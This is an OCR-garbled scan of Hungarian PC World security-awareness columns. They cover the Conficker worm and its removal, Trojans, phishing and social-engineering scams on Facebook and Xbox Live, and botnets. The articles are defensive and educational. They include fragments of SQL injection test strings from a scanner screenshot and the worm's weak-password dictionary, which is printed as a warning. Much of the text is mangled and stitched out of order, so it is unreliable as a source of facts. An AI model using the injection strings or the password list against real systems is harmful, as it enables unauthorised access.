-reboo!

ot besn found active in the nemory:
and cleaning anyway? Cy/n>
VStomCurrontConcrolSoensorylces\arnuht

en32\wbfydy.dll.vir
rocess of cleaning.

othing was foun:

e a\1>L

szen a ,system,

Az ESET EConfickerRemover programjanak segitségével
a fert6zést egyszerlien megsziintethetjiik

Bulgdriaban minisztériumi és rendér-
ségi gépeknél is kalamajkdt okozott.
Mindenesetre vallalati kornyezetben
rendkiviil bosszantd lehet, ha a féreg
s(r(i jelszoprobalgatdsa miatt a va-
[6dli, legitim felhasznalokat zérja ki a
halézat a sikertelen kisérletek miatt
— itt kiilon utdnajdrds, rendszergaz-
dai kozbelépés sziikséges, hogy az il-
let6 ismét munkdba tudjon &llni. Per-
sze ennél mar csak egy rosszabb: ha
a gyenge jelsz6 miatt mégis sikertil a
kartevének belépnie a neviinkben.

A Conficker méikodése sordn torli a
felhasznal6 altal Iétrehozott rendszer-
visszadllitasi pontokat, ez pedig so-
kaknak lehet szerfelett kellemetlen.
A megtamadott szamitogépen a vi-
rusoknak, férgeknek az egyik elsGd-
leges célpontjai a megosztott map-
pak. Ezzel nemcsak a helyi hdlézaton,
hanem peer-to-peer (P2P) kapcso-
latokon keresztiil is képesek terjed-
ni. Egyes Conficker-varidnsok meg-
probaljdk blokkolni a viruskeresék
weboldalait, valamint kulcsfontossa-
g Windows-szolgéltatdsokat is meg-
kisérelnek kikapcsolni. Azoknak az
allomanyoknak és szervizfolyama-
toknak, amiket a kértevé hoz létre,
igyekszik minél megtévesztébb nevet
adni, a véletlenszer(itél kezdve egé-

Windows, shell,
network, boot,
config” stb. el-
nevezésekig. Bar kartevék az 6sz-
szes operaciés rendszer alatt |éteznek,
érdemes megjegyezni, hogy donté
tobbségtik mégis csak a Windowsok
alatt méikodik. Ez a helyzet sok okra
vezethetd vissza, és ezek boncolgaté-
sa tdl messzire vezetne, mindeneset-
re a fert6zések terjedésének szem-
pontjabdl is kedvezébb az az éllapot,
ha minden gépen egyforma operéci-
6s rendszer fut, amely széles korben
és tomegesen elterjedt szoftver; a fel-
hasznal6k nem hasznalnak megfelelé
jogosultsagkezelést, illet6leg minden
feladatukat adminisztratorként végzik.

A dolgok lényege azonban, hogy bar-
melyik rendszert is hasznéljuk, tudas,
ismeret és képzés nélkil nincs esé-
lytink hossz( tavon hatékonyan fel-
venni a kiizdelmet a timaddsokkal,
amelyeket mar nem elszigetelt, feltd-
nést keresd Griiltek intéznek ellentink,
hanem a szervezett blin6zés igyekszik
személyes adatainkat, jelszavainkat,
bankkértydnk szamat, online jatékba
val belépési kédjainkat megszerez-
ni. Es itt a képzés nemcsak a didkokat
érinti, hanem a tandroknak is folya-
matosan képben kell(ene) lennitik a
veszélyekkel, és ezek elharitasi lehetd-
ségeivel, az esetleges incidensek keze-
[ési modjaival is.

ThreatSense.Net - Regional Breakdown

Country Uleraine

Manth

Threat Name
| Win32/Conficker.AA
2 INF/Autorun.gen
3 INFlAutorun
4 Win32/Conficker.AE
\ VB.NUB
; acked Autoit.Gen
7 Win32IConficker.X
Win32iAgent
9 Win32/Conficker.A

January <

o

10, Win32/IPSW.0OnLineGames. NMY

Additional Information
of this country/reai

on fro

fear

m total detections

2009 ¢

Detections
1 RA O

Allitélag a féreg elsé valtozata nem fert6zte meg a gépet, ha ukran billen-
tylizetkiosztast talalt. Mégis a ThreatSense.Net rendszer szerint igy fest a
2009 januarjaban Ukrajnaban tombol6 kartevék top 10-es listaja. A sok ok
koziil biztosan az egyik legfontosabb az illegalis, épp ezért nem frissitett

Windows rendszerek nagy szama
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dabed, 1234quer, 123abc, 12
admini, adminiz, admmlﬁ, adminadnin, administrator, anythi
codename, codeword, coffee, computer, controller, cookie, cus:
fodbar, foofoo, forever, fresdom, fuck, games, home, honel:

4 ihavenopa
word, mypcl

qwert qwewq, root, rootlzs, rootroot, sampl:
temp123,

temporary, temptemp,

Nyilvdn szerepet jétszik ebben a
tomeges fertézéshen az is, hogy mig
egy autétulajdonosnak valamennyi-
re értenie kell az aut6jahoz — nincs
jogositvany az elirt mdszaki ismere-
tek vizsgdval valé bizonyitasa nélkl
-, ezért mondjuk nem rak kockacuk-
rot vagy vizet a sajét benzintankjaba.
Azonban sok szdmit6gép-felhaszndld
a legnagyobb nyugalommal @l oda a
minimalisndl is kevesebb kortiltekin-
téssel, tuddssal, odafigyeléssel gépe
elé, pedig par egyszer( alapszabalyt
muszaj lenne nekik is betartaniuk.
Tudomdsul kell venni, hogy a szami-
togép nem kenyérpiritd, kezelését és
hasznélatét alaposan meg kell tanul-
ni, kilonben magunknak és mésok-
nak is rengeteg kart és bossziisagot
okozhatunk tudatlansagunkkal.

A megfelel§ ismeretek hidnyara
utal az is, hogy a Conficker par nap
alatt tobb millié gépet fertdzott meg.

A jelentSs mennyiség(i fert6zés mi-

att az ESET egy kiilon mentesit6 se-
gédprogramot is a kiadott a nagyko-
zonségnek (www.eset.hu/viruslabor/
ingyeneseltavolitok). E szoftver segit-
ségével a Conficker altal megtamadott
windowsos gépeket tisztithatjuk meg.
Az EConfickerRemover.exe egy pa-
rancssoros célprogram, amellyel egy-
szer(ien mentesithetjiik a szamitogé-
pet. El&szor a memdridban ellendriz,
és ha ott nem talal semmit, rakérdez,
hogy fusson-e tovabb az ellendrzés. Ha
akar a memaridban, akdr a merevle-
mezen fertGzést taldlt, akkor torli a kar-
tevét, és a sikeres mentesités utdn java-
solja a szamit6gép Gjrainditasat.

Nem igazan volt jellemz6 az utdbbi
években, hogy a Sircam, a LoveLetter
és a Blaster utdn vildgszerte nagy mér-
tékben elterjedt kdrtevg ennyire ma-
gdra irdnyitsa a figyelmet, azonban Ggy
tiinik, a Confickernek ez most mégis
sikerdilt. A nem megfelelGen elvégzett
vagy egyszer(ien kihagyott bedllitasok,
a felhaszndléi szokasok és elégtelen
szakmai ismeretek idével szépen visz-
szaitnek. A Conficker — aminek immar
sajat Wikipédia szocikke is van — ren-
diiletlendl tor el6re és miikodéséhez

a McAfee kutatéi szerint a Metasploit
egyik moduljat is felhaszndlja. A féreg
készitéi gyanithat6an profik, akik nem-

ecret, secure, security,
, test123, testtest, unknown, wel

business, canpus, chanqeme cluster,

omer, database, default, desktop, domain, example,exchange, explorer, file, files, foo,
Internet, internet, intranet,job, killer, letitbe, letmein, Login, login,

, ninda, nobody, nopass, nopassword, nothing, office, oracle, owner, pass,
il pasoverd, paceerdn, pasavordie, pasouordize, peivete, public, put

qlwz qazwsxede, qqq, qqqd,
hare, sql,
. windows, work, work123, xxx,

Ha nem szeretnénk bajba keriilni, akkor ne ezek kéziil a gyenge jelszavak kozil valasszunk!

csak a programozashoz értenek, ha-
nem a hdlozati protokollok teriletén is
otthonosan mozognak. Nem tudni, mi
van még a Conficker programozdinak
tarsolyaban, de félg, lesz még par meg-
lepetésiik.

k%%
Kérjiik kedves olvasdinkat, ha a téma-
ban kérdéstik, hozzaszolasuk van, jut-
tassak el hozzank
(velemeny@pcworld.hu).

Csizmazia Istvan,

virusvédelmi tanacsado
Sicontact Kft., a NOD32 antivirus
magyarorszagi képviselete
antivirus.blog.hu

} VIRUS
TOTAL

Amint a mellékelt VirusTotal ered-
ménytablazatbol latjuk, szinte nincs
is olyan virusvédelmi alkalmazas,
amelyik ne jelezne a Confickerre.
Azt viszont szomoruan konstatal-
hatjuk, hogy az AV-gyartok vagy tiz-
féle elnevezéssel is jelzik ugyanazt
a kartevét

KAPCSOLODO WEBOLDALAK

A CERT autorun-kikapcsoldsi Gtmutatéja: hopp.peworld.hu/5510

Az ESET magyar nyelvi viruslexikona: www.eset.hu/virus
A Microsoft DropMyRights segédprogramjénak honlapja: hopp.pcworld.hu/5511
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Ujabb social engineering fejezetek

Sorozatunk elérkezett a huszadik részhez. Ezuttal ismét a social engineering, azaz a megtévesz-
tés vizeire eveziink. Egy ropke pillanatra visszanyulunk a torténelmi korokba, hogy utana rogton a
legfrissebb csalasi modszereket, trikkoket tekinthessiik at.

tréjai falovak manapsag mar
A messze gyakoribbak, mint

Homérosz koraban, napja-
inkban leginkabb szamitogépein-
ket tdmadijék. Ezek a tréjaiak olyan
programok, amelyek valami mast
csindlnak, mint amit magukrél ere-
detileg allitanak. Ez a ,mas” nem
minden esetben okvetlentil rombolé
vagy karos, de sok esetben igen: az
ilyen szoftverek fajlokat térolnek,
feltlirjdk a merevlemezt, vagy tavo-
li hozzaférést biztositanak a rend-
szerhez a tdmadonak. Egy klasszikus
tréjai altaldban tartalmaz egy bil-
lentydilettés-naplézot (keylogger) is,
amelyet készit6i jatéknak vagy va-
lamilyen hasznos segédprogramnak
alcaznak. Az efféle tréjaiakat sokfé-
le céllal alkalmazhatjdk: biztosithat-
nak rejtett tavoli elérést (backdoor)
egy adott szamit6géphez, ellen-
Grizhetik a billentydletéseket, va-
lamint specializalédhatnak jelsza-
vak, banki informéciok, személyes
adatok ellopdséra — a legtobb kém-
program ez utébbi kategériaba esik.
De honnan a név, miért pont tro-
jai és miért fal6? Ehhez tegytink egy
icipici kerl6t a torténelemérak vi-
ldgaba. A gorogok Odlisszeusz ra-
vasz tanacsdra épitették azt a mon-
dabeli hires, fabol késziilt hatalmas
lovat, amelynek belsejében a leg-
batrabb gorog harcosok rejtéztek
el. A falovat a csatamezdn hagytak,
majd hajoikkal cselesen visszavonu-
st szinleltek. A tréjaiak Kasszandra
és Laokodn figyelmeztetése ellené-
re bevontattak a falovat a varosuk-
ba, a hatalmas és bevehetetlen fa-

lak mogé és oromuinneplésbe kezd-
tek, nehéz boros kupaikat a varatlan
gy6zelemre sokszor emelték és it-
tak ki. Es ez lett a vesztiik, mert az
éjszaka leple alatt a gorog harcosok
csendesen kimdsztak a falé belsejé-
bél, megnyitottdk a véros kapuit és
a bedraml6 gorog seregek sok évnyi
hidbavalé haboraskodds utan végil
mégis elfoglalhattdk Tréja varosat —
igaz, nem erdvel, hanem ésszel.

Ehhez Fehér M. Jend BesenyG Gs-
torténet cimd munkajabol idé-
ziink egy részt. ,Ertettek a nyilt si-
kon dl6 harc mellett a varostrom-
hoz is, de f6leg koriilzarassal vagtak
el az erditményeket a kiilvilagtdl,
kiéheztetve a varvéddket. igy tor-
tént 995-ben is, amikor kihasznaltak
Belgorod vara kérnyékét és a szokd-
sos tirelemjatékkal kiéheztették a
lakossagot. Mar-mar feladtak a va-
rat, de egy Oreg és ravasz tandcsos-
nak az az otlete tdmadt, hogy par
utcdban, a varkapuhoz kézel zsifol-
janak fel minden élelmet, tereljék
oda a még megmaradt vagomarhat
és latszolag hanyagsagbol enged-
jenek beosonni a varba kémeket.
lgy is tortént, s mikor a kémek bel-
jebb is akartak hatolni az tires ut-
cékon, egyszeriben megrohantak
Gket, de egyben futni is engedték,
hogy jelentést tehessenek fGndkeik-
nek. Igy aztdn [azok] dradoztak az
élelmiszerbdség feldl. Erre a jelen-
tésre a besenyd had elvonult a var

hitpedwww. fastkontact. comycitibani/index. himi
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Software strongly discol

The page you are trying to open has been reported as
fraudulent. It will likely attempt to trick you into
sharing personal or financial information. Opera
urages visiting this page

Go to Home Page

lgnors this warming

Advisory provided by PhishTank

Mere imformatior

CPUUsage 71|

Q “? Update Now s

Dawnload the lats
help keep your ct

Internet

Smart Firewall

ﬂ AVG
. Internet Security

Intrusion Prevention
Email | Message Scanning

F Overview

|| System Control

A Bitkom Német Fejlett Technoldgiai Szovetség felmérése szerint a német
internetez6k 19 szazaléka egyaltalan nem hasznal virusirtot a szamitogé-
pén, és 54 szazalékuknak nincsen telepitve tiizfala. Ha még ehhez hozza-
vessziik az elhanyagolt biztonsagi frissitéseket, akkor lathato, hogy ezek az
emberek talcan kinaljak gépuiket az online biin6zéknek

aldl, feladva az ostromot.” Most pe-
dig megnézziik, mi koze minden-
nek a mai kdrtevG-terjesztési méd-
szerekhez.

Semmi sem allando, csak a vélto-
zds maga — sz6l a Hérakleitosz-idé-
zet nagyon is taldléan, ramutatva

facebook

Home Profile Friends Inbox

Dolus Carson

wall  info

Basic Information

Personal Information

Edit My Profile

yo whats up?
Information

Single Contact Information

December 1

New York, NY

arra, hogy a kértevdk elleni védeke-
zés semmiképpen nem egy kébe-
vésett statikus szabalyrendszer, ha-
nem egy naponta véltozo, milliényi
trikkot, emberi gyengeséget kihasz-
ndlé megtévesztés, sok lelemény-
nyel és mindig Gj megnyilvanuld-
si formakkal.

Az 6r6kos harc a biztonsagi prog-
ramokat forgalmazé cégek és a kar-

Dolus Carson ~ Settings  Logout

Photos  +

# Edit Information

December 1
Single
Women
Friendship
Peace
Happiness

s, soccer | mean whatever else is fun
and tech writing

rap
rock
tvis such a waste of time

Millian Dollar Baby

The Devil Wears Prada

I'm a web designer with not much else going on. | like to have
fun though and football is THE sport to watch

websitereviewers@gmail.com
Ask me sometime

A Patch of grass
New York, NY

A hamis banki oldalak készitése sem megy ki a divatbol, mert mindig akad
olyan dvatlan balek, aki hajland6 begépelni az azonositéit. Mar az iskolas
kortol el kell(ene) kezdeni a biztonsagos netezést, adatkezelést oktatni
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Egy social engineering-kisérlet a Facebookon. Egy hamis profil, nem létezé
adatokkal, egy élvonalbeli sportolo képét kolcsondzve harom nap alatt tobb
mint szaz , baratot” eredményezett. Vajon mi jart a kapcsolatként megjel616
emberek fejében? Az biztos nem, hogy mostantol az Uj ,,ismerés” akar
belathat a személyes adatlapjukba is



Reported to Facebook for vielating their terms of service?

It's l2ss than a week since a rogue third-party application called
"Error Check System” blitzed Facebook users claiming that there
was a problem with their profiles, sending concernad users to
malicious websites as they searched for information,

Mow, anather Facebook application is using underhand methods ta
collectthe details of users, by sending them bogus natification
messages that a friend has reported them for violating Facebook's

terms of service

Atypical message sentbythe “F ac e b o o k- closing downill”*

application reads as follows

"[Friend's name] has just reported you to

Facebool for viclating cur Terms of Service.

warning!

- Click here to find out why you were reported
Facebook lock at what has happensd and rule immecliatls

- Thiz iz your official
'

Request

Itt latszolag a Facebook figyelmeztet minket arra, hogy megsértettik a
k6zosségi oldalon betartando szabalyokat. A valésagban csalok probalnak
minket fert6zott weboldalakra iranyitani

tevéterjeszték kozott manapsag
megszili az atlagos, védett vonala-
kat megkeriilé megolddsokat, ame-
lyek a talalékonysag, a leleményes-
ség megannyi jelét magukon hor-
dozzak. Mar szdmtalan esetben
tapasztalhattuk, hogy k6zosségi
portdlok vagy azok tizenetei, netdn
blogbejegyzések kommentjei segit-
ségével probdlnak meg a géptinkre
juttatni kdrtevéket a fejlesztdk.

A hatékony védelemhez sziiksé-
ges, hogy megismerjiik az ellenséget
— a médszereit, a gondolkodasméd-
jat. A kivancsisagra (,230 halottja van
az Eurépaban dul6 viharoknak”), a
kéjvagyra (Kurnyikova meztelen foti)
vagy a pénzsovarsagra (kiemelkedd
jovedelem napi egy 6ra otthoni mun-
kéval) épitett machindciok minden
id6ben megtaldljdk a maguk balekja-
it. Lassunk ezekre pér ,j6” példat!

Egy februdri hir szerint veszélybe kerdl-
hetnek az Xbox-tulajdonosok. Akar hi-
telkdrtya-adataikat, Gsszegydijtott pont-
jaikat és megvasarolt jatékaikat is el-
veszthetik azok az Xbox-felhaszndlok,
akik ingyenes Microsoft-pontok remé-
nyében illetéktelen kezekbe adjék fel-
hasznédloneviiket és jelszavukat. A pén-
zért megyésarolhaté Microsoft-pontok
fizetGeszkozként szolgalnak az Xbox-
jatékkonzolhoz kilonbozé kiegészi-

t6 tartalmakat arusft6 Xbox Live felii-
leten. Ha az internetes b(in6z6k meg-
szerzik a jatékosok belépési adatait,

akkor hozzéférhetnek azok szemé-
lyes és hitelkartya-adataihoz, elkolthe-
tik a Microsoft-pontjaikat, de akdr el-
vehetik az elsGsorban presztizsérték
jatékospontjaikat (gamerscore) is. Az
elkovetdk legtbbszor ingyenes ponto-
kat igérnek a gyandtlan felhasznalok-
nak. Az adathalasz weboldalakra ird-
nyitd tizenetek sokszor jaték kozben,
maguktol a jatéktarsaktol érkeznek,
de a YouTube-on is szdmos hamis Git-
mutatét taldlhatunk, rdadasul még a
videomegoszt6 weboldalon taldlhaté
nem egy vided is virusos fajlt tartalma-
26 linkekre mutat!

Egy masik Gjonnan felbukkant fortély
a parkoldssal kapcsolatos. Esettink-
ben az auték szélvédgjére kaptak
egy csali értesitd levelet az dldozatok
azzal az irassal, hogy lefotéztak és
megbintették autéjukat szabdlytalan
parkolds miatt, és a mellékelt linken
megtekinthetik az inkriminalt képet.
A blintet6céduldk persze hamisak
voltak, a weboldal pedig kartékony
szoftvereket probalt telepiteni az al-
dozatok szamitégépére. Azért lassuk
be, valéban nagy a kisértés, hogy va-
laki gondolkodas nélkiil ellatogasson
a megadott ,hivatalos” oldalra.

De jut a triikkokbdl a tarskeresdk-
nek is. Ahogy a szegény orszagok-
ban 6nall6 foglalkozas lett a gaz-

Gmail Naptdr Dokumentumok Feényképek Webhelysk Wsab tovdbbiak w
.
lv‘l I I inspam
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PhishTank
Phishing Site Blocked

PhishTank SiteChecker has just prevented you from loading a known phishing site.

Please choose one of the following actions:

<GoBack | | GoHome | | ViewDetsis | | Continue >

el

3 RIS St

The page you are trying to visit has been blocked by the Neteraft Toolbar because it
is believed to be part of a fraudulent phishing attack,

URL: httpyfwwwfacezbook.com/

If this is & mistake, please report it using
'Report Incorrectly Blocked URL' in the Metcraft Meanu.

Da you still want to go there?

Erdemes a PhishTank SiteCheckert (phishtanksitechecker.com) és a Netcraft
Toolbart (toolbar.netcraft.com) is telepiteni a Firefox ala. A képen a fentiek
sikerrel blokkoljak az egy bet eltéréssel rendelkez6 ,,facezbook.com” csalé
weboldalt. A csalok iparszeriien hasznaljak ki az elgépelésbél adodo bongé-
sz6 talalatokat is

A pénzszerzés érdekében felhasznalt leleményességnek egyszeriien nincs ha-
tara. Az autojuk szélvédéjére kapnak egy csali értesitélevelet az aldozatok
azzal az Uriiggyel, hogy lefotéztak és megbiintették autojukat szabalytalan
parkolas miatt, és a mellékelt linken megtekinthetik az inkriminalt képet.

A biintetécédulak persze hamisak, a weboldal pedig kartékony szoftvereket
probal telepiteni az aldozatok szamitogépére

Frissités

dag turistak autéi elé ugrani, aztan
pénzbeli kartéritést kovetelni, mi-
kozben persze egy egész falu tands-
kodik, hogy ,mindent latott”, dgy
tlnik, az iparszer( hazassagszédel-
g6k is sportot iznek a gyandtlan
ugyfelek megkopasztasabol.

A triikk lényege, hogy az ismerke-
dés mar barétibb szakaszaban, ami-
kor az ismerked6k mar tdl vannak

I - 2. com | 2120l | Béneb verzi |

meaielenitése

Uzenetek, amelyek 30 napndl régebben vannak a Spam mappakan, automatikusan torlddnek)

Nyelvi korlatok ide vagy oda, az iTunes aruhaz szamlaja a vilag minden fejlettebb orszagaban jol ismert. Az iPhone-
tulajdonosok rendszeresen megkapjak az angol nyelvii szamlajukat, de ami ezen a képen szerepel, az mar egy
hamis levél, és egy ,.kanadai” gyogyszerészoldalra tovabbitja az 6vatlanul kattintot

az els@ levélvaltasokon, de még a
valodi taldlkozas el6tt alinak, a csa-
16 elGall egy kifogassal, hogy vala-
melyik csaladtagja varatlanul stlyo-
san megbetegedett, és pénzzava-
raban segftséget kérne. Aki beddl
az ilyen mesének, vélhetGen so-
sem fogja megtaldlni a hercegét fe-
hér lovon. Sokkal valészintibb, hogy
a pénz kiildése utan bottal ttheti a
nyomat a hercegnek és az 6sszeg-
nek egyardnt. A torténet kiilféldon
mar annyira gyakori, hogy az aldo-
zatok egy kiilén honlapon osztjak
meg egymassal informaciéikat.

Nem mindenki az, akinek mondja
magat — ehhez még Arsene Lupin-
rajongénak sem kell lenni, minden-
ki megtapasztalhatta mar. Kisérle-
tezG kedvl emberiink egy megle-
p6 eredmény( prébat tett az egyik
kozosségi portalon. Regisztrélt a
Facebookra — de megtehette vol-
na barhol mashol is — és 6sszeal-
Iitott egy kamu adatlapot. Kellett
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@, Seouy Test Results

Compass

SQL Injection String Tests Summary (58480 results recorded)

Failures;

‘Warnings: [

SQAL Injection String Test Results

Submitted Form State:

password; ++
ogin: ++1
unnamed field: ++Beléngs

Results;
Ea1 4 feunt: SH Nate’
Tesmd satie. | AMD ASCINLOWERSUBSTR! LECT TOP 1 nam FROM sy5oliects WHERE smam1r 1 150 « 118
found: SRk trace
' ALL SELECT 1 2.).4.5 4 name FROM 573 Otuacts WHERE shpe = V'~

Emar SN foum). SR D
Teatad sabis* OF usainams 18 HOT NLLL OR usammams =
Emmor sng foumd
Teshed ralie * DE!

o1 4Hi0g fourd . SHch tiace
ke 1 AND UBER_MAMED = W1

Enuianm foun S
Terbid vakis: 1'AND 1 ~SELECT COUMNT™) FRON b Mnammas) -

Emos 39mg found: Sk rscs
Teskd ke 11

E01 5910 found. Yhath at
Teshdmane 11

A tamadok mar a feltorhet6 weboldalak felderitésénél is eredményesen
tamaszkodnak a Google-re. A hibas vagy input-ellenérzés nélkili dinamikus
oldalakat pedig SQL-beillesztéses tamadassal veszik kezeléshe. Erdemes
magunknak is letesztelni az ilyen gyengeségeket, példaul az SQL Inject Me
nevii Firefox-pluginnel (hopp.pcworld.hu/5673)

hozza egy (ij e-mail cim, majd j6tt
a hasradtésszer( keresztnév-valasz-
tas — valami j6l cseng6, hangzatos-
ra volt sziikség — és ezt keresztezte
aztdn a blogjédban hasznalt dlnevé-
vel, majd méris megsziiletett Dolus
Carson. Aztan kell még egy vonzo6
fot6 — esetiinkben ez Marcus Vicket,
egy 183 cm magas, 93 kg-os ame-
rikai profi futballistat dbrazolja, és
mar lehet is toltogetni a kamu adat-
lapot. Egy-két véletlenszerden kivé-
lasztott egyetem, kozépiskola, klub
bejel6lése csodat tehet és maris in-
dulhat a ,Kit ismerhetek?” cim{ né-
pi jaték. Az elsé harminc perc ne-
hezen akart eltelni, de végiil szép
részeredménnyel zdrult: tiz ,barat”
megszerzése volt az a pont, ahol
megtort a jég. Innentdl mar kony-
nyebben kaphatunk Gjabbakat, csak
a legelsét olyan pokoli nehéz meg-

szerezni. Alig négy nap leforgdsa
alatt mintegy szdz ismerdsre lehe-
tett igy szert tenni.

Itt nemcsak arrdl van sz6, hogy va-
lakik tévedéshdl jelolték meg az
adott illetSt ismer6snek, hanem ar-
rél, hogy akinek meng baratai van-
nak, az népszer(ibb ember lehet. Az-
az konnyen akadnak olyanok, akik
boldogan valljdk bardtjuknak a sosem
létott, j6 kidllasd illetSt. Az Gj bard-
tok aztdn mar hozzak a , kozds isme-
résoket” akkor is, ha ez a profil egy,
a val6sagban nem is létezd szemely
16l sz6l. Es persze a népszert Dolus
Carson mar lathatja is az ismerdsei
részletes adatlapjat. A statisztikdk azt
mutatjdk, hogy az ismerésoktdl vagy
az ismerdsok ismerdseitdl érkezé le-
velekre, (izenetekre, linkekre aztan
mar sokkal konnyebben kattintanak
az emberek. Sok magyaraznivalé

nincs is azon, miért lehet

Gmail Calendar Documents Photos Reader Web m veszélyes egy ilyen fantom
. barétsag a késébbiekben.
in:trash
( ;1"] il
All me
Compose Mail
Delete forever  Report spam
Inbox {9) Refresh i .
A Obi-Wan Kenobi mond-
Chats O N —2x: ta hogy ,Harcolni sokfé-
Sent Mail 3 .y check ou this leképp lehet.” Usgy teinik,
Drafts (8) s minden kértevéterjeszts
Al Mail S a6 51 PR Tk l4tta a filmet, mert valéban
Spam (3) ontjak a trikkoket. Meg-
Trash tartjak a mar felismert, de
ennek ellenére maikodé
Contacts .. . A
e ‘ verzidkat is: megy azért a
asKs 2 2 . 11
| levélmelléklet is, kiildik az
+ Quick Links Video & more » tinnepi képeslapoknak lat-

sz6 e-maileket, a klasszi-
kus banki adathalasz tize-
neteket, de a repertoar
egyre béviil, és aki nem fi-
gyel oda, nem aldoz idét

J6 példa, hogy a kartevére mutatoé link barhon-
nan érkezhet. A Gtalk ablak a ViddyHo videds
weboldalt ajanlhatja egy latszélag valodi is-
merdsiink nevében érkezett lizenettel. A linkre
kattintva azonban mar toltédik is a kartevé
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Security Warning

internst utalvany
A potentially compromised SSL certificate has been detected
NGk D i G B O Access to the following URL may not be secure

hitpsifiwww.upe.huforder/
zerziiési feliételek

The server certificate has been signed using the MDS algorithm,
It is recommended that you do not exchangs sensitive data with this website,

Certificate Information

Havonta Display Name
800 e
70ﬂ0§73m Certificate Fingerprint
03DFEBCI0AIDADF 38820308068 CSEDFOAELEZ24
vagy klip

[7) Don't show this dislog for this certificate anymore

SsL Blacklist 4.0
Copyright (C) 2008 CodeFromthe70sorg, Al rights reserved,

Mind
atied!
Az SSL Blacklist (hopp.pcworld.hu/5672) alapbdl figyelmeztet az olyan gyen-
ge, MD5-lenyomattal rendelkezé tanusitvanyokra, amelyek a mar 2004-ben
publikalt MD5-utkoztetéssel tamadhatoéak

& ok

More infa. ..

és pénzt a biztonsagaért, az vesztesé-  sagi program birtokdban sem szabad
geket kénytelen elszenvedni. Ahogy megfeledkezniink.

az Osztén (Instinct) cimd filmben is *kk

hallhattuk a ,mit veszthetiink” kérdés-  Kérjiik kedves olvaséinkat, ha a téma-
re adott valaszt: artatlansdgunkat és ban kérdéstik, hozzaszolasuk van, jut-
naivsagunkat, ez az, amit valéban fél-  tassak el hozzank

re kell tenni, ha eredményesen aka- (velemeny@pcworld.hu).

runk kiizdeni a modern kori fenyege-
tésekkel. Az internetezés alapvet sza-
balyairél - igy példaul arrdl, hogy ne
adjuk ki felhaszndloneviinket, bank-
kartyank adatait és jelszavunkat isme-
retlen oldalakon — még egy j6 bizton-
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Veszélybe kerulhetnek az Xbox-tulajdonosok, ha bedéInek a pontgyiijtési
csalasnak. Akar hitelkartya-adataikat, 6sszegytijtott pontjaikat és megvasa-
rolt jatékaikat is elveszthetik azok a felhasznalok, akik ingyenes Micro-
soft-pontok reményében illetéktelen kezekbe adjak felhasznaloneviiket és
jelszavukat
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Zombi-e vagy?

Kivancsisaggal vegyes borzongas fogja el a zombigép szo6 hallatan? Rettegve olvassa a botnet paszto-
rok aljas mesterkedéseirdl szdld hireket? Most mindent elmondunk errél a témardl - hogyan fedez-
hetjlik fel, ha netan benniinket is érint, tovabba jotanacsokkal is szolgalunk.

aga a botnet kifejezés a

robot network szavakbdl

szarmazik, és olyan ha-
l6zati gépek csoportjat jeldli, ame-
lyek automatikus mékodéssel el6-
re meghatarozott feladatot hajtanak
végre, illetve a vezérl6 géprél tovab-
bi utasitdsokat képesek fogadni. Bar
elvileg ezt lehetne hasznos dolgok-
ra is haszndlni, ebben az esetben
azonban sajnos nem errd| van szo:
a fert6zott gépek tiinetmentesen és
csendesen varjak a tavoli, kiilonféle
tdmaddsokhoz hasznalt utasitasokat.

Tancora idésebbeknek

és haladoknak

Pillantsunk kicsit vissza az idében.
A kértékony és/vagy kéretlen tar-
talmak elektronikus levél formdja-
ban valé kiildozgetését kordbban
is igyekeztek anonim médon vé-
gezni, ezért ezt nyitott proxyk se-
gitségével vagy publikus levelez6-
szerverekrd| végezték. Ennek az-
tan az lett a hatdsa, hogy ezeket a
szervereket szép lassan kitiltottdk a
sz(irésnél, igy rendszeresen Gjakat
kellett taldlni. Persze ehhez az is
hozzatartozik, hogy ahol egy rend-
szergazda engedélyezte a nem sa-
jat domainbdl valé levelek tovab-
bitasét is (open relay), az mar ele-
ve gondatlanul jart el. Mivel az is
rendszeresen elfordult, hogy emi-
att egy-egy cég levelezését teljesen
letiltottak a szolgéltatok, ennélfog-

va a visszakapcsolds utan egy-egy
ilyen szerveren gondosan befol-
toztak az ilyen réseket (hidnyz te-
lepités, preciz bedllitasok stb.), és
ennek révén igy ott mar nem le-
hetett t6bbé visszaélni a lehetdsé-
gekkel. A zsenidlis gondolat azon-
ban megsziletett a tovabblépéshez
— egy kicsit a tréjai kémprogramok
vilagat is idézve az olyan nagy el6-
dok, mint példaul a Back Orifice,
ihlették a megoldast: legyenek
olyan fert6zott gépek, amely-

re fel lehet telepiteni egy hatso aj-
tot (backdoor), és késGbb mar egy-
szer(ien be lehessen jutni rajuk. Ez
a tdmadodnak hasznos, hiszen ész-
revétlentil kutakodhat, bepillantast
nyer az ott intézett tigyletekbe, il-
letve a tarolt anyagokba, és nem
utolsésorban folyamatosan ellen-
Grizheti a teljes adatforgalmat és
hasznélhatja is a megtamadott gép
er6forrasait. Amikor aztan jo par
éve mar a taviranyitast is kényel-
mes grafikus panelrél intézhettiik,
eladhat6 termék lett az ilyen szoft-
verekbdl, amit jo pénzért megvasa-
rolhattak a binozék.

A jelenlegi botnetek tomeges el-
terjedésének pontos oka a nem
frissitett (vagyis kihaszndlhat6 biz-
tonsagi réseket tartalmazé) Win-
dows operacids rendszert futtaté
kompromittalt szamit6gépek tome-
ge. Sajnos a mai botnetes kérte-
v6k nemcsak megfertézni tudjak a

1 g2 |B7d8gafrizse440_[0.1] onine DEL

2008-04-04 17:05:36 83 serverhk-3. 0_[0.1] online DEL
2008-04-04 16:22:05 25 | privatpideopse_[0.1] offine DEL
2008-04-04 15:00:16 70 mom-aw231812ysa_[0.1] offiine DEL
2008-04-04 13:32:17 53 |dane [0.1] offine DEL
2008-04-04 11:02:36 81 |computer [0.1] offine DEL
2008-04-04 09:56:37 15 ASHRAF_[01.1] el MIHBOPMEUHA O CTPEHE 3akpure fline DEL
2008-04-D4 08:01:29 10 =i [0.1] Pl L L fiire: DEL
2005-04-04 D6:47:16 42 | tonho-1f0228%b_(0.1] i o fine DEL
17 | winp-O0ef7c7eb_[0.1] ek S8 fiire DEL

40 angelo-uvctmia_[0.1] e DEL

77 xgvcdaBsoadsy39_[0.1] - offine DEL

-04-04 D2:21:41 75 s9dBcataloBz7bh = offine DEL
e — . e —
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Is your PC domg a hacker's dirty work?
s out how hackers use hijacked home machines to send out

ITH”I

Felkavarta az indulatokat a BBC Click! cim{i szamitogépes miisora, amely azt
mutatta be, mi torténik akkor, ha valaki bérbe vesz egy 20 ezer gépbdl allé
botnetet a blin6z6ktél. A szerkeszték ,,megspammelték” sajat postafiokjai-
